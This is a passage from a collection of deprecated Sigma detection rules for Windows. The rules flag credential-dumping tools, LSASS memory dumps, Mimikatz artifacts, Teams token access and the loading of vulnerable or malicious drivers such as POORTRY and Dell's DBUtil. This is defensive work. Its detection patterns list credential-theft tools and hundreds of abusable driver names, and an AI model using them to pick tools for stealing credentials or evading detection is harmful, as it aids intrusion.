"content": "title: Credential Dumping Tools Service Execution\nid: df5ff0a5-f83f-4a5b-bba1-3e6a3f6f6ea2\nrelated:\n - id: 4976aa50-8f41-45c6-8b15-ab3fc10e79ed\n type: derived\nstatus: deprecated\ndescription: Detects well-known credential dumping tools execution via service execution events\nreferences:\n - https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment\nauthor: Florian Roth (Nextron Systems), Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community\ndate: 2017/03/05\nmodified: 2023/12/11\ntags:\n - attack.credential_access\n - attack.execution\n - attack.t1003.001\n - attack.t1003.002\n - attack.t1003.004\n - attack.t1003.005\n - attack.t1003.006\n - attack.t1569.002\n - attack.s0005\nlogsource:\n product: windows\n category: driver_load\ndetection:\n selection:\n ImageLoaded|contains:\n - 'cachedump'\n - 'dumpsvc'\n - 'fgexec'\n - 'gsecdump'\n - 'mimidrv'\n - 'pwdump'\n - 'servpw'\n condition: selection\nfalsepositives:\n - Legitimate Administrator using credential dumping tool for password recovery\nlevel: critical\n"
},
{
"path": "deprecated/windows/driver_load_win_mal_poortry_driver.yml",
"content": "title: Usage Of Malicious POORTRY Signed Driver\nid: 91bc09e7-674d-4cf5-8d86-ed5d8bdb95a6\nstatus: deprecated\ndescription: Detects the load of the signed poortry driver used by UNC3944 as reported by Mandiant and Sentinel One.\nreferences:\n - https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022/12/16\nmodified: 2023/09/13\ntags:\n - attack.privilege_escalation\n - attack.t1543\n - attack.t1068\nlogsource:\n category: driver_load\n product: windows\ndetection:\n selection_image:\n ImageLoaded|contains:\n - '\\prokiller64.sys'\n - '\\gftkyj64.sys'\n - '\\KApcHelper_x64.sys'\n - '\\NodeDriver.sys'\n - '\\LcTkA.sys'\n selection_sysmon:\n Hashes|contains:\n - 'SHA256=0440ef40c46fdd2b5d86e7feef8577a8591de862cfd7928cdbcc8f47b8fa3ffc'\n - 'SHA256=9b1b15a3aacb0e786a608726c3abfc94968915cedcbd239ddf903c4a54bfcf0c'\n - 'SHA256=8e035beb02a411f8a9e92d4cf184ad34f52bbd0a81a50c222cdd4706e4e45104'\n - 'SHA256=d7c81b0f3c14844f6424e8bdd31a128e773cb96cccef6d05cbff473f0ccb9f9c'\n - 'SHA256=05b146a48a69dd62a02759487e769bd30d39f16374bc76c86453b4ae59e7ffa4'\n - 'SHA256=c8f9e1ad7b8cce62fba349a00bc168c849d42cfb2ca5b2c6cc4b51d054e0c497'\n - 'SHA1=31cc8718894d6e6ce8c132f68b8caaba39b5ba7a'\n - 'SHA1=a804ebec7e341b4d98d9e94f6e4860a55ea1638d'\n - 'SHA1=6debce728bcff73d9d1d334df0c6b1c3735e295c'\n - 'SHA1=cc65bf60600b64feece5575f21ab89e03a728332'\n - 'SHA1=3ef30c95e40a854cc4ded94fc503d0c3dc3e620e'\n - 'SHA1=b2f955b3e6107f831ebe67997f8586d4fe9f3e98'\n - 'MD5=10f3679384a03cb487bda9621ceb5f90'\n - 'MD5=04a88f5974caa621cee18f34300fc08a'\n - 'MD5=6fcf56f6ca3210ec397e55f727353c4a'\n - 'MD5=0f16a43f7989034641fd2de3eb268bf1'\n - 'MD5=ee6b1a79cb6641aa44c762ee90786fe0'\n - 'MD5=909f3fc221acbe999483c87d9ead024a'\n condition: 1 of selection*\nfalsepositives:\n - Legitimate BIOS driver updates (should be rare)\nlevel: high\n"
},
{
"path": "deprecated/windows/driver_load_win_powershell_script_installed_as_service.yml",
"content": "title: PowerShell Scripts Run by a Services\nid: 46deb5e1-28c9-4905-b2df-51cdcc9e6073\nrelated:\n - id: a2e5019d-a658-4c6a-92bf-7197b54e2cae\n type: derived\nstatus: deprecated\ndescription: Detects powershell script installed as a Service\nreferences:\n - https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse\nauthor: oscd.community, Natalia Shornikova\ndate: 2020/10/06\nmodified: 2023/12/11\ntags:\n - attack.execution\n - attack.t1569.002\nlogsource:\n product: windows\n category: driver_load\ndetection:\n selection:\n ImageLoaded|contains:\n - 'powershell'\n - 'pwsh'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/driver_load_win_vuln_avast_anti_rootkit_driver.yml",
"content": "title: Vulnerable AVAST Anti Rootkit Driver Load\nid: 7c676970-af4f-43c8-80af-ec9b49952852\nstatus: deprecated\ndescription: Detects the load of a signed and vulnerable AVAST Anti Rootkit driver often used by threat actors or malware for stopping and disabling AV and EDR products\nreferences:\n - https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022/07/28\nmodified: 2023/09/12\ntags:\n - attack.privilege_escalation\n - attack.t1543.003\nlogsource:\n product: windows\n category: driver_load\ndetection:\n selection_sysmon:\n Hashes|contains:\n - 'MD5=a179c4093d05a3e1ee73f6ff07f994aa'\n - 'SHA1=5d6b9e80e12bfc595d4d26f6afb099b3cb471dd4'\n - 'SHA256=4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1'\n driver_img:\n ImageLoaded|endswith: '\\aswArPot.sys'\n driver_status:\n - Signed: 'false'\n - SignatureStatus: Expired\n condition: selection_sysmon or all of driver_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/driver_load_win_vuln_dell_driver.yml",
"content": "title: Vulnerable Dell BIOS Update Driver Load\nid: 21b23707-60d6-41bb-96e3-0f0481b0fed9\nstatus: deprecated\ndescription: Detects the load of the vulnerable Dell BIOS update driver as reported in CVE-2021-21551\nreferences:\n - https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/\nauthor: Florian Roth (Nextron Systems)\ndate: 2021/05/05\nmodified: 2023/09/12\ntags:\n - attack.privilege_escalation\n - cve.2021.21551\n - attack.t1543\n - attack.t1068\nlogsource:\n category: driver_load\n product: windows\ndetection:\n selection_image:\n ImageLoaded|contains: '\\DBUtil_2_3.Sys'\n selection_sysmon:\n Hashes|contains:\n - 'SHA256=0296E2CE999E67C76352613A718E11516FE1B0EFC3FFDB8918FC999DD76A73A5'\n - 'SHA256=DDBF5ECCA5C8086AFDE1FB4F551E9E6400E94F4428FE7FB5559DA5CFFA654CC1'\n - 'SHA1=C948AE14761095E4D76B55D9DE86412258BE7AFD'\n - 'SHA1=10B30BDEE43B3A2EC4AA63375577ADE650269D25'\n - 'MD5=C996D7971C49252C582171D9380360F2'\n - 'MD5=D2FD132AB7BBC6BBB87A84F026FA0244'\n condition: 1 of selection*\nfalsepositives:\n - Legitimate BIOS driver updates (should be rare)\nlevel: high\n"
},
{
"path": "deprecated/windows/driver_load_win_vuln_drivers_names.yml",
"content": "title: Vulnerable Driver Load By Name\nid: 839f1ee1-292d-495a-bf37-818267b8ee82\nrelated:\n - id: 7aaaf4b8-e47c-4295-92ee-6ed40a6f60c8\n type: derived\nstatus: deprecated\ndescription: Detects the load of known vulnerable drivers via their names only.\nreferences:\n - https://loldrivers.io/\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022/10/03\nmodified: 2023/09/03\ntags:\n - attack.privilege_escalation\n - attack.t1543.003\n - attack.t1068\nlogsource:\n product: windows\n category: driver_load\ndetection:\n selection:\n ImageLoaded|endswith:\n - '\\reddriver.sys'\n - '\\mhyprot2.sys'\n - '\\hwos2ec7x64.sys'\n - '\\asrdrv103.sys'\n - '\\e29f6311ae87542b3d693c1f38e4e3ad.sys'\n - '\\gvcidrv64.sys'\n - '\\spwizimgvt.sys'\n - '\\hwos2ec10x64.sys'\n - '\\e939448b28a4edc81f1f974cebf6e7d2.sys'\n - '\\phymemx64.sys'\n - '\\dh_kernel.sys'\n - '\\bs_def.sys'\n - '\\nbiolib_x64.sys'\n - '\\viraglt64.sys'\n - '\\ntiolib.sys'\n - '\\paniox64.sys'\n - '\\libnicm.sys'\n - '\\phymem64.sys'\n - '\\fiddrv.sys'\n - '\\cpuz141.sys'\n - '\\yyprotect64.sys'\n - '\\daxin_blank3.sys'\n - '\\aswarpot.sys'\n - '\\t8.sys'\n - '\\driver7-x86-withoutdbg.sys'\n - '\\dcr.sys'\n - '\\b3.sys'\n - '\\asupio.sys'\n - '\\blackbonedrv10.sys'\n - '\\rzpnk.sys'\n - '\\iomem64.sys'\n - '\\kfeco11x64.sys'\n - '\\t.sys'\n - '\\wantd.sys'\n - '\\mimikatz.sys'\n - '\\wantd_4.sys'\n - '\\chaos-rootkit.sys'\n - '\\mhyprot.sys'\n - '\\nlslexicons0024uvn.sys'\n - '\\piddrv64.sys'\n - '\\aswvmm.sys'\n - '\\superbmc.sys'\n - '\\kprocesshacker.sys'\n - '\\lmiinfo.sys'\n - '\\jokercontroller.sys'\n - '\\blackbone.sys'\n - '\\fur.sys'\n - '\\vboxmousent.sys'\n - '\\mapmom.sys'\n - '\\windows-xp-64.sys'\n - '\\d3.sys'\n - '\\inpout32.sys'\n - '\\tfbfs3ped.sys'\n - '\\etdsupp.sys'\n - '\\asmmap64.sys'\n - '\\lurker.sys'\n - '\\alsysio64.sys'\n - '\\ntiolib_x64.sys'\n - '\\asas.sys'\n - '\\vproeventmonitor.sys'\n - '\\dbutil_2_3.sys'\n - '\\malicious.sys'\n - '\\cpupress.sys'\n - '\\netfilter2.sys'\n - '\\wintapix.sys'\n - '\\mhyprotnap.sys'\n - '\\ktes.sys'\n - '\\titidrv.sys'\n - '\\rtcore64.sys'\n - '\\physmem.sys'\n - '\\d.sys'\n - '\\asrdrv106.sys'\n - '\\winiodrv.sys'\n - '\\phlashnt.sys'\n - '\\sfdrvx64.sys'\n - '\\ene.sys'\n - '\\nqrmq.sys'\n - '\\phydmaccx86.sys'\n - '\\fd3b7234419fafc9bdd533f48896ed73_b816c5cd.sys'\n - '\\magdrvamd64.sys'\n - '\\a26363e7b02b13f2b8d697abb90cd5c3.sys'\n - '\\amdryzenmasterdriver.sys'\n - '\\amigendrv64.sys'\n - '\\d2.sys'\n - '\\agent64.sys'\n - '\\bs_rcio64.sys'\n - '\\goad.sys'\n - '\\bsmi.sys'\n - '\\nvflsh64.sys'\n - '\\gametersafe.sys'\n - '\\ndislan.sys'\n - '\\bw.sys'\n - '\\directio32.sys'\n - '\\asrsmartconnectdrv.sys'\n - '\\ktgn.sys'\n - '\\eneio64.sys'\n - '\\amp.sys'\n - '\\gdrv.sys'\n - '\\tmel.sys'\n - '\\nstr.sys'\n - '\\winring0.sys'\n - '\\fiddrv64.sys'\n - '\\tmcomm.sys'\n - '\\daxin_blank2.sys'\n - '\\poortry2.sys'\n - '\\bsmemx64.sys'\n - '\\asio.sys'\n - '\\gmer64.sys'\n - '\\panio.sys'\n - '\\ucorew64.sys'\n - '\\atszio64.sys'\n - '\\nt2.sys'\n - '\\pciecubed.sys'\n - '\\nvflsh32.sys'\n - '\\ssport.sys'\n - '\\wcpu.sys'\n - '\\winio64.sys'\n - '\\msio64.sys'\n - '\\black.sys'\n - '\\nicm.sys'\n - '\\daxin_blank1.sys'\n - '\\my.sys'\n - '\\tgsafe.sys'\n - '\\dbk64.sys'\n - '\\proxydrv.sys'\n - '\\1fc7aeeff3ab19004d2e53eae8160ab1.sys'\n - '\\capcom.sys'\n - '\\asio32.sys'\n - '\\proxy32.sys'\n - '\\asrdrv102.sys'\n - '\\vboxguest.sys'\n - '\\vboxtap.sys'\n - '\\daxin_blank.sys'\n - '\\poortry.sys'\n - '\\ntbios.sys'\n - '\\glckio2.sys'\n - '\\dbutildrv2.sys'\n - '\\kfeco10x64.sys'\n - '\\lenovodiagnosticsdriver.sys'\n - '\\netfilter.sys'\n - '\\corsairllaccess64.sys'\n - '\\semav6msr.sys'\n - '\\bs_rciow1064.sys'\n - '\\vboxusbmon.sys'\n - '\\nodedriver.sys'\n - '\\iobitunlocker.sys'\n - '\\smep_namco.sys'\n - '\\asio64.sys'\n - '\\xjokercontroller.sys'\n - '\\irec.sys'\n - '\\asribdrv.sys'\n - '\\mhyprot3.sys'\n - '\\daxin_blank6.sys'\n - '\\fidpcidrv.sys'\n - '\\bandai.sys'\n - '\\procexp.sys'\n - '\\daxin_blank5.sys'\n - '\\daxin_blank4.sys'\n - '\\bedaisy.sys'\n - '\\asrdrv10.sys'\n - '\\bwrsh.sys'\n - '\\eio.sys'\n - '\\winio64a.sys'\n - '\\citmdrv_ia64.sys'\n - '\\7.sys'\n - '\\b.sys'\n - '\\bwrs.sys'\n - '\\nt3.sys'\n - '\\wiseunlo.sys'\n - '\\ncpl.sys'\n - '\\ctiio64.sys'\n - '\\hw.sys'\n - '\\asromgdrv.sys'\n - '\\bs_hwmio64.sys'\n - '\\lgdatacatcher.sys'\n - '\\rtkio.sys'\n - '\\winio32.sys'\n - '\\phydmaccx64.sys'\n - '\\mtcbsv64.sys'\n - '\\ni.sys'\n - '\\b4.sys'\n - '\\directio64.sys'\n - '\\vboxdrv.sys'\n - '\\nvflash.sys'\n - '\\hpportiox64.sys'\n - '\\bs_i2c64.sys'\n - '\\iomap64.sys'\n - '\\vboxusb.sys'\n - '\\msqpq.sys'\n - '\\sysinfo.sys'\n - '\\mhyprotect.sys'\n - '\\naldrv.sys'\n - '\\lgdcatcher.sys'\n - '\\echo_driver.sys'\n - '\\otipcibus.sys'\n - '\\testbone.sys'\n - '\\lctka.sys'\n - '\\wyproxy64.sys'\n - '\\pchunter.sys'\n - '\\amdpowerprofiler.sys'\n - '\\wantd_3.sys'\n - '\\test2.sys'\n - '\\rtcoremini64.sys'\n - '\\d4.sys'\n - '\\piddrv.sys'\n - '\\panmonflt.sys'\n - '\\windows8-10-32.sys'\n - '\\wantd_5.sys'\n - '\\mjj0ge.sys'\n - '\\kt2.sys'\n - '\\rtkiow8x64.sys'\n - '\\nstrwsk.sys'\n - '\\msio32.sys'\n - '\\ktmutil7odm.sys'\n - '\\hwrwdrv.sys'\n - '\\nchgbios2x64.sys'\n - '\\bs_hwmio64_w10.sys'\n - '\\mydrivers.sys'\n - '\\t7.sys'\n - '\\wantd_6.sys'\n - '\\sandra.sys'\n - '\\atillk64.sys'\n - '\\cpuz.sys'\n - '\\netproxydriver.sys'\n - '\\protects.sys'\n - '\\asrrapidstartdrv.sys'\n - '\\dh_kernel_10.sys'\n - '\\ef0e1725aaf0c6c972593f860531a2ea.sys'\n - '\\enetechio64.sys'\n - '\\citmdrv_amd64.sys'\n - '\\iqvw64e.sys'\n - '\\bsmixp64.sys'\n - '\\bs_i2cio.sys'\n - '\\prokiller64.sys'\n - '\\netflt.sys'\n - '\\4748696211bd56c2d93c21cab91e82a5.sys'\n - '\\openlibsys.sys'\n - '\\adv64drv.sys'\n - '\\be6318413160e589080df02bb3ca6e6a.sys'\n - '\\cupfixerx64.sys'\n - '\\se64a.sys'\n - '\\speedfan.sys'\n - '\\a236e7d654cd932b7d11cb604629a2d0.sys'\n - '\\winio32b.sys'\n - '\\winio64b.sys'\n - '\\sysdrv3s.sys'\n - '\\lv561av.sys'\n - '\\bs_def64.sys'\n - '\\mlgbbiicaihflrnh.sys'\n - '\\dbutil.sys'\n - '\\834761775.sys'\n - '\\kdriver.sys'\n - '\\spf.sys'\n - '\\dkrtk.sys'\n - '\\bs_flash64.sys'\n - '\\nt4.sys'\n - '\\4.sys'\n - '\\directio32_legacy.sys'\n - '\\viragt64.sys'\n - '\\hostnt.sys'\n - '\\poortry1.sys'\n - '\\c94f405c5929cfcccc8ad00b42c95083.sys'\n - '\\b1.sys'\n - '\\wantd_2.sys'\n - '\\mhyprotrpg.sys'\n - '\\nscm.sys'\n - '\\smep_capcom.sys'\n - '\\sense5ext.sys'\n - '\\lha.sys'\n - '\\atszio.sys'\n - '\\amifldrv64.sys'\n - '\\blacklotus_driver.sys'\n - '\\asrautochkupddrv.sys'\n - '\\cpuz_x64.sys'\n - '\\asrautochkupddrv_1_0_32.sys'\n - '\\bs_rcio.sys'\n - '\\elbycdio.sys'\n - '\\fidpcidrv64.sys'\n - '\\elrawdsk.sys'\n - '\\telephonuafy.sys'\n - '\\rwdrv.sys'\n - '\\lgcoretemp.sys'\n - '\\segwindrvx64.sys'\n - '\\windows7-32.sys'\n - '\\asrsetupdrv103.sys'\n - '\\hwinfo32.sys'\n - '\\inpoutx64.sys'\n - '\\asrdrv101.sys'\n - '\\asupio64.sys'\n - '\\monitor_win10_x64.sys'\n - '\\msrhook.sys'\n - '\\nt5.sys'\n - '\\wfshbr64.sys'\n - '\\driver7.sys'\n - '\\sfdrvx32.sys'\n - '\\asrdrv104.sys'\n - '\\gameink.sys'\n - '\\hwinfo64i.sys'\n - '\\bsmix64.sys'\n - '\\winio32a.sys'\n - '\\kbdcap64.sys'\n - '\\5a4fe297c7d42539303137b6d75b150d.sys'\n - '\\fairplaykd.sys'\n - '\\a9df5964635ef8bd567ae487c3d214c4.sys'\n - '\\fgme.sys'\n - '\\skill.sys'\n - '\\capcom2.sys'\n - '\\typelibde.sys'\n - '\\nt6.sys'\n - '\\winio64c.sys'\n - '\\driver7-x64.sys'\n - '\\air_system10.sys'\n - '\\panmonfltx64.sys'\n - '\\ntbios_2.sys'\n - '\\viragt.sys'\n - '\\zam64.sys'\n - '\\vmdrv.sys'\n - '\\iqvw64.sys'\n - '\\1.sys'\n - '\\t3.sys'\n - '\\2.sys'\n - '\\gftkyj64.sys'\n - '\\proxy64.sys'\n - '\\kevp64.sys'\n - '\\netfilterdrv.sys'\n - '\\4118b86e490aed091b1a219dba45f332.sys'\n - '\\6771b13a53b9c7449d4891e427735ea2.sys'\n - '\\mimidrv.sys'\n - '\\driver7-x86.sys'\n - '\\windbg.sys'\n - '\\80.sys'\n - '\\directio.sys'\n - '\\atomicredteamcapcom.sys'\n - '\\81.sys'\n - '\\full.sys'\n - '\\asrdrv.sys'\n - '\\kapchelper_x64.sys'\n - '\\c.sys'\n - '\\winflash64.sys'\n - '\\amsdk.sys'\n condition: selection\nfalsepositives:\n - False positives may occur if one of the vulnerable driver names mentioned above didn't change its name between versions. So always make sure that the driver being loaded is the legitimate one and the non-vulnerable version.\n - If you experience a lot of FP you could comment the driver name or its exact known legitimate location (when possible)\nlevel: low\n"
},
{
"path": "deprecated/windows/driver_load_win_vuln_gigabyte_driver.yml",
"content": "title: Vulnerable GIGABYTE Driver Load\nid: 7bcfeece-e5ed-4ff3-a5fb-2640d8cc8647\nstatus: deprecated\ndescription: Detects the load of a signed and vulnerable GIGABYTE driver often used by threat actors or malware for privilege escalation\nreferences:\n - https://medium.com/@fsx30/weaponizing-vulnerable-driver-for-privilege-escalation-gigabyte-edition-e73ee523598b\n - https://twitter.com/malmoeb/status/1551449425842786306\n - https://github.com/fengjixuchui/gdrv-loader\n - https://www.virustotal.com/gui/file/31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427/details\n - https://www.virustotal.com/gui/file/cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b/details\nauthor: Florian Roth (Nextron Systems)\ndate: 2022/07/25\nmodified: 2023/09/12\ntags:\n - attack.privilege_escalation\n - attack.t1543.003\nlogsource:\n product: windows\n category: driver_load\ndetection:\n selection:\n Hashes|contains:\n - 'MD5=9AB9F3B75A2EB87FAFB1B7361BE9DFB3'\n - 'MD5=C832A4313FF082258240B61B88EFA025'\n - 'SHA1=FE10018AF723986DB50701C8532DF5ED98B17C39'\n - 'SHA1=1F1CE28C10453ACBC9D3844B4604C59C0AB0AD46'\n - 'SHA256=31F4CFB4C71DA44120752721103A16512444C13C2AC2D857A7E6F13CB679B427'\n - 'SHA256=CFC5C585DD4E592DD1A08887DED28B92D9A5820587B6F4F8FA4F56D60289259B'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/driver_load_win_vuln_hw_driver.yml",
"content": "title: Vulnerable HW Driver Load\nid: 9bacc538-d1b9-4d42-862e-469eafc05a41\nstatus: deprecated\ndescription: Detects the load of a legitimate signed driver named HW.sys by often used by threat actors or malware for privilege escalation\nreferences:\n - https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/\n - https://www.virustotal.com/gui/file/6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5/details\nauthor: Florian Roth (Nextron Systems)\ndate: 2022/07/26\nmodified: 2023/09/12\ntags:\n - attack.privilege_escalation\n - attack.t1543.003\nlogsource:\n product: windows\n category: driver_load\ndetection:\n selection_name:\n ImageLoaded|endswith: '\\HW.sys'\n selection_sysmon:\n Hashes|contains:\n - 'SHA256=4880F40F2E557CFF38100620B9AA1A3A753CB693AF16CD3D95841583EDCB57A8'\n - 'SHA256=55963284BBD5A3297F39F12F0D8A01ED99FE59D008561E3537BCD4DB4B4268FA'\n - 'SHA256=6A4875AE86131A594019DEC4ABD46AC6BA47E57A88287B814D07D929858FE3E5'\n - 'SHA1=74E4E3006B644392F5FCEA4A9BAE1D9D84714B57'\n - 'SHA1=18F34A0005E82A9A1556BA40B997B0EAE554D5FD'\n - 'SHA1=4E56E0B1D12664C05615C69697A2F5C5D893058A'\n - 'MD5=3247014BA35D406475311A2EAB0C4657'\n - 'MD5=376B1E8957227A3639EC1482900D9B97'\n - 'MD5=45C2D133D41D2732F3653ED615A745C8'\n condition: 1 of selection*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/driver_load_win_vuln_lenovo_driver.yml",
"content": "title: Vulnerable Lenovo Driver Load\nid: ac683a42-877b-4ff8-91ac-69e94b0f70b4\nstatus: deprecated\ndescription: Detects the load of the vulnerable Lenovo driver as reported in CVE-2022-3699 which can be used to escalate privileges\nreferences:\n - https://support.lenovo.com/de/en/product_security/ps500533-lenovo-diagnostics-vulnerabilities\n - https://github.com/alfarom256/CVE-2022-3699/\nauthor: Florian Roth (Nextron Systems)\ndate: 2022/11/10\nmodified: 2023/09/12\ntags:\n - attack.privilege_escalation\n - cve.2021.21551\n - attack.t1543\nlogsource:\n category: driver_load\n product: windows\ndetection:\n selection:\n Hashes|contains:\n - 'SHA256=F05B1EE9E2F6AB704B8919D5071BECBCE6F9D0F9D0BA32A460C41D5272134ABE'\n - 'SHA1=B89A8EEF5AEAE806AF5BA212A8068845CAFDAB6F'\n - 'MD5=B941C8364308990EE4CC6EADF7214E0F'\n condition: selection\nfalsepositives:\n - Legitimate driver loads (old driver that didn't receive an update)\nlevel: high\n"
},
{
"path": "deprecated/windows/file_event_win_access_susp_teams.yml",
"content": "title: Suspicious File Event With Teams Objects\nid: 6902955a-01b7-432c-b32a-6f5f81d8f624\nstatus: deprecated\ndescription: Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.\nreferences:\n - https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/\n - https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens\nauthor: '@SerkinValery'\ndate: 2022/09/16\nmodified: 2024/07/22\ntags:\n - attack.credential_access\n - attack.t1528\nlogsource:\n product: windows\n category: file_event\ndetection:\n selection:\n TargetFilename|contains:\n - '\\Microsoft\\Teams\\Cookies'\n - '\\Microsoft\\Teams\\Local Storage\\leveldb'\n filter:\n Image|contains: '\\Microsoft\\Teams\\current\\Teams.exe'\n condition: selection and not filter\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/file_event_win_access_susp_unattend_xml.yml",
"content": "title: Suspicious Unattend.xml File Access\nid: 1a3d42dd-3763-46b9-8025-b5f17f340dfb\nstatus: deprecated\ndescription: |\n Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.\n If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md\nauthor: frack113\ndate: 2021/12/19\nmodified: 2024/07/22\ntags:\n - attack.credential_access\n - attack.t1552.001\nlogsource:\n product: windows\n category: file_event\ndetection:\n selection:\n TargetFilename|endswith: '\\unattend.xml'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/file_event_win_crackmapexec_patterns.yml",
"content": "title: CrackMapExec File Creation Patterns\nid: 9433ff9c-5d3f-4269-99f8-95fc826ea489\nstatus: deprecated\ndescription: Detects suspicious file creation patterns found in logs when CrackMapExec is used\nreferences:\n - https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass\nauthor: Florian Roth (Nextron Systems)\ndate: 2022/03/12\nmodified: 2024/03/01\ntags:\n - attack.credential_access\n - attack.t1003.001\nlogsource:\n product: windows\n category: file_event\ndetection:\n selection_lsass_dump1:\n TargetFilename|startswith: 'C:\\Windows\\Temp\\'\n Image: 'C:\\WINDOWS\\system32\\rundll32.exe'\n User|contains: # covers many language settings\n - 'AUTHORI'\n - 'AUTORI'\n TargetFilename|endswith:\n - '.rtf'\n - '.otf'\n - '.odt'\n - '.txt'\n - '.doc'\n - '.pdf'\n - '.dll'\n - '.docx'\n - '.wpd'\n - '.icns'\n - '.db'\n - '.ini'\n - '.tex'\n - '.sys'\n - '.csv'\n - '.fon'\n - '.tar'\n - '.ttf'\n - '.xml'\n - '.cfg'\n - '.cpl'\n - '.jpg'\n - '.drv'\n - '.cur'\n - '.tmp'\n # list is incomplete\n selection_procdump:\n TargetFilename: 'C:\\Windows\\Temp\\procdump.exe'\n User|contains: # covers many language settings\n - 'AUTHORI'\n - 'AUTORI'\n condition: 1 of selection*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/file_event_win_hktl_createminidump.yml",
"content": "title: CreateMiniDump Hacktool\nid: db2110f3-479d-42a6-94fb-d35bc1e46492\nstatus: deprecated\nrelated:\n - id: 36d88494-1d43-4dc0-b3fa-35c8fea0ca9d\n type: derived\ndescription: Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine\nauthor: Florian Roth (Nextron Systems)\nreferences:\n - https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass\ndate: 2019/12/22\nmodified: 2022/05/14\ntags:\n - attack.credential_access\n - attack.t1003.001\nlogsource:\n product: windows\n category: file_event\ndetection:\n selection:\n TargetFilename|endswith: '\\lsass.dmp'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high"
},
{
"path": "deprecated/windows/file_event_win_lsass_memory_dump_file_creation.yml",
"content": "title: LSASS Memory Dump File Creation\nid: 5e3d3601-0662-4af0-b1d2-36a05e90c40a\nstatus: deprecated\ndescription: LSASS memory dump creation using operating systems utilities. Procdump will use process name in output file if no name is specified\nreferences:\n - https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment\nauthor: Teymur Kheirkhabarov, oscd.community\ndate: 2019/10/22\nmodified: 2023/08/29\ntags:\n - attack.credential_access\n - attack.t1003.001\nlogsource:\n category: file_event\n product: windows\ndetection:\n selection:\n TargetFilename|contains: 'lsass'\n TargetFilename|endswith: 'dmp'\n condition: selection\nfields:\n - ComputerName\n - TargetFilename\nfalsepositives:\n - Dumping lsass memory for forensic investigation purposes by legitimate incident responder or forensic invetigator\n - Dumps of another process that contains lsass in its process name (substring)\nlevel: high\n"
},
{
"path": "deprecated/windows/file_event_win_mimikatz_memssp_log_file.yml",
"content": "title: Mimikatz MemSSP Default Log File Creation\nid: 034affe8-6170-11ec-844f-0f78aa0c4d66\nrelated:\n - id: 9e099d99-44c2-42b6-a6d8-54c3545cab29 # Replacement for this rule\n type: similar\nstatus: deprecated\ndescription: Detects Mimikatz MemSSP default log file creation\nreferences:\n - https://pentestlab.blog/2019/10/21/persistence-security-support-provider/\nauthor: David ANDRE\ndate: 2021/12/20\nmodified: 2023/02/16\ntags:\n - attack.credential_access\n - attack.t1003\nlogsource:\n product: windows\n category: file_event\ndetection:\n selection:\n TargetFilename|endswith: 'mimilsa.log'\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: critical\n"
},
{
"path": "deprecated/windows/file_event_win_office_outlook_rdp_file_creation.yml",
"content": "title: .RDP File Created by Outlook Process\nid: f748c45a-f8d3-4e6f-b617-fe176f695b8f\nrelated:\n - id: fccfb43e-09a7-4bd2-8b37-a5a7df33386d\n type: derived\nstatus: deprecated\ndescription: |\n Detects the creation of files with the \".rdp\" extensions in the temporary directory that Outlook uses when opening attachments.\n This can be used to detect spear-phishing campaigns that use RDP files as attachments.\nreferences:\n - https://thecyberexpress.com/rogue-rdp-files-used-in-ukraine-cyberattacks/\n - https://www.microsoft.com/en-us/security/blog/2024/10/29/midnight-blizzard-conducts-large-scale-spear-phishing-campaign-using-rdp-files/\n - https://www.linkedin.com/feed/update/urn:li:ugcPost:7257437202706493443?commentUrn=urn%3Ali%3Acomment%3A%28ugcPost%3A7257437202706493443%2C7257522819985543168%29&dashCommentUrn=urn%3Ali%3Afsd_comment%3A%287257522819985543168%2Curn%3Ali%3AugcPost%3A7257437202706493443%29\nauthor: Florian Roth\ndate: 2024-11-01\nmodified: 2025-07-22\ntags:\n - attack.defense-evasion\nlogsource:\n product: windows\n category: file_event\ndetection:\n selection_extension:\n TargetFilename|endswith: '.rdp'\n selection_location:\n - TargetFilename|contains:\n - '\\AppData\\Local\\Packages\\Microsoft.Outlook_' # New Outlook\n - '\\AppData\\Local\\Microsoft\\Olk\\Attachments\\' # New Outlook\n - TargetFilename|contains|all:\n - '\\AppData\\Local\\Microsoft\\Windows\\'\n 